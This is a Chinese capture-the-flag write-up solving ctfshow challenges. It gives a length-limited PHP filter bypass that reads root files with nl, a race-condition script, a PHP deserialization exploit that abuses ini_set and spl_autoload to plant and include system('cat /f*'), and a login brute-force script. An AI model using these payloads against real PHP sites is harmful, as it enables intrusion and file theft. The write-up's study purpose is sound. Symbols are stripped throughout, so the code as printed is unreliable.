ctfshow大牛杯

📅 发布时间:2026/7/11 9:52:32 👁️ 浏览次数:
ctfshow大牛杯
web_checkin?php error_reporting(0); include config.php; //flag in / function check_letter($code){ $letter_blacklist str_split(abcdefghijklmnopqrstuvwxyz1234567890); for ($i 0; $i count($letter_blacklist); $i2){ $i 2。它只检查黑名单中索引为偶数的字符 被过滤的字符a, c, e, g, i, k, m, o, q, s, u, w, y, 1, 3, 5, 7, 9以及大写 可用的字符b, d, f, h, j, l, n, p, r, t, v, x, z, 2, 4, 6, 8, 0 if (preg_match(/.$letter_blacklist[$i]./i, $code)){ die(xi nei~); } } } function check_character($code){ $character_blacklist array(,\,%,_,\),\(,\*,,\^,-,\$,#,,,!,~,\],\[,},{,\,\,;, ,\/,\.,\?,,,,:,); for ($i 1; $i count($character_blacklist); $i2){ if (preg_match(/.$character_blacklist[$i]./, $code)){ 这次是从 $i 1 开始。它只检查索引为奇数的符号 被过滤的符号, _, (, , -, #, , ~, [, {, , (空格), ., ,, : 可用的符号, %, ), *, ^, $, , !, ], }, , ;, /, ,?, (眼睛有点花不确定列的对不对我只能说意思到了) die(tongtong xi nei~); } } } $dir sandbox/ . md5($_SERVER[REMOTE_ADDR]) . /;// 根据 IP 创建唯一沙箱目录 if (!file_exists($dir)) { mkdir($dir); } if (isset($_GET[code])) { $code substr($_GET[code], 0, 12);// 限制输入长度为 12 个字符 check_letter($code); check_character($code); file_put_contents($dir . index.php, ?php .$code.$fuxkfile); // 返回目录路径 echo $dir; }else{ highlight_file(__FILE__); }第一种做法直接查看目录可用字符 # ( , - . 0 2 4 6 8 : B D F H J L N P R T V X Z [ _ b d f h j l n p r t v x z { | ~ ?code??nl%09/* 闭合一下前面的语句 nl的一个特性就是在 Shell 中* 匹配当前路径的非隐藏文件和目录/* → 匹配根目录下所有文件和一级子目录并且nl会依序处理这些文件输出他们的内容并加上行号但是会跳过目录和二进制文件给了一个路径我们进行访问即可获取flag第二种做法?code??nl%09*查看当前目录下的文件源码!--?php 4 opendir(./); 5 while($filename readdir()) { 6 if($filename ! . $filename ! .. $filename ! index.php) { 7 unlink($filename); 8 } 9 } 10 closedir(); 11 ?--很明显是想让我们条件竞争。生成文件?codenl%09/*bimport requests import threading import sys sessionrequests.session() url1http://60c9a571-7c97-4dc3-b54f-52e00a48340c.challenge.ctf.show/sandbox/3fa05e3dafa3d6413be416b360149b5c/ url2http://60c9a571-7c97-4dc3-b54f-52e00a48340c.challenge.ctf.show/sandbox/3fa05e3dafa3d6413be416b360149b5c/b def write(): while True: r session.get(url1) def read(): while True: r session.get(url2) if len(r.text)!9561: #随便get传一次就能得到这个长度 print(r.text) threads [threading.Thread(targetwrite), threading.Thread(targetread)] for t in threads: t.start()easy_unserialize?php /* # -*- coding: utf-8 -*- # Author: h1xa # Date: 2021-04-22 17:44:48 # Last Modified by: h1xa # Last Modified time: 2021-04-26 11:30:38 # email: h1xactfer.com # link: https://ctfer.com */ highlight_file(__FILE__); class main{ public $settings; public $params; public function __construct(){ 在类实例化时new main()自动调用 $this-settingsarray( display_errorsOn, allow_url_fopenOn ); 初始化 $settings 数组开启错误显示和远程文件打开功能 $this-paramsarray(); } public function __wakeup(){ 当执行 unserialize() 成功且对象被创建后会立即调用 foreach ($this-settings as $key $value) { 遍历 $settings 数组通过 ini_set 动态修改 PHP 配置 ini_set($key, $value); } } public function __destruct(){ 当对象被销毁脚本结束或被 unset时自动调用 file_put_contents(settings.inc, unserialize($this-params)); } } unserialize($_GET[data]); Notice: Undefined index: data in /var/www/html/index.php on line 39非预期解?php class A{ } class main{ public $settings; public $params; public function __construct(){ 利用了 PHP 的配置项ini_set $this-settingsarray( error_logyu.php, 在原代码的 __wakeup 中会执行 ini_set($key, $value)。这意味着你会成功将 PHP 的错误日志路径改为 yu.php unserialize_callback_func?php system(cat /f*);?, unserialize_callback_func: 这是一个 PHP 配置项。当 unserialize() 尝试对一个未定义的类进行反序列化时PHP 会尝试调用这个配置项指定的函数 html_errorsfalse ); $this-paramsserialize(new A()); } } $anew main(); echo serialize($a);成功执行?php class main{ public $settings; public $params; public function __construct(){ $this-settingsarray( unserialize_callback_funcsystem, ); $this-paramsO:2:ls:0:{}; } } $anew main(); echo serialize($a);预期解?php class settings{ 在后续步骤中这个类名 settings 会与生成的 settings.inc 文件名产生关联 } class main{ public $settings; public $params; public function __construct(){ $this-settingsarray( unserialize_callback_funcspl_autoload, ); //$this-paramsserialize(?php system(cat /f*);); 生成settings.inc文件内容是?php system(cat /f*); //$this-paramsserialize(new settings()); 加载settings.inc //spl_autoload这是 PHP 的默认自动加载函数。它的工作原理是当你尝试实例化或反序列化一个不存在的类例如 settings时它会尝试在当前目录下寻找并包含名为 settings.php 或 settings.inc 的文件 } } $anew main(); echo serialize($a);也就是说如果第一个参数是settings第二个没有传值就会去加载includesettings.inc文件并且setting.inc文件内容我们可控下载下来就可以了RealWorld_CyberShow没有什么有用的信息查看源码看到有三个html页面一个一个查看看到了登录页面需要爆破用户密码想要抓包爆破结果是被加密的import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) url http://de35c1c8-a9d4-45cb-9d85-3ca5ce1709a6.challenge.ctf.show/log_in headers { Cookie: JSESSIONID0189FA915D476EBE590738FCD0FC7C76, User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36, Content-Type: application/x-www-form-urlencoded, Origin: https://de35c1c8-a9d4-45cb-9d85-3ca5ce1709a6.challenge.ctf.show, Referer: https://de35c1c8-a9d4-45cb-9d85-3ca5ce1709a6.challenge.ctf.show/log_in/index.jsp } for a in range(1,100000): data { username: str(2020000000a), enpwd: f6d7fefbb39ed575, key: ed504e644c0c167552128ce15b040c61cdc632eb633dfb7b551ea493caadd041 } try: response requests.post(url, headersheaders, datadata, verifyFalse) print(str(2020000000a)) if response.status_code 200 and error not in response.text: print(response.text) except requests.RequestException as e: print(fRequest failed: {e})是2020036001easy CMS涉及知识盲区了之后会单独出一篇文章